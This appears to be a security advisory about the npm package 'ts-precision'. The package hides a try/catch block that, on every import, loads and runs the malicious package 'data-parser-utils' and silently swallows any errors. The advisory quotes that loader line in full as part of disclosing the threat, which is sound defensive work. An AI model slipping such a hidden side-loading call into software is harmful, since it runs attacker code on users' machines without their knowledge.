Hidden between math methods in the module body is an unrelated block: `try { const doc = require(\"data-parser-utils\"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. This block fires on every `require('ts-precision')` / `import` of the package, pulling in and invoking the known-malicious npm package `data-parser-utils`, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load.\n\n## Source: ghsa-malware (b4ffbdf3dab9ae9a0147818f09f7763029240baf7125f0363fedbc80dcf71234)\nAny computer that has this package installed or running should be considered fully compromised.
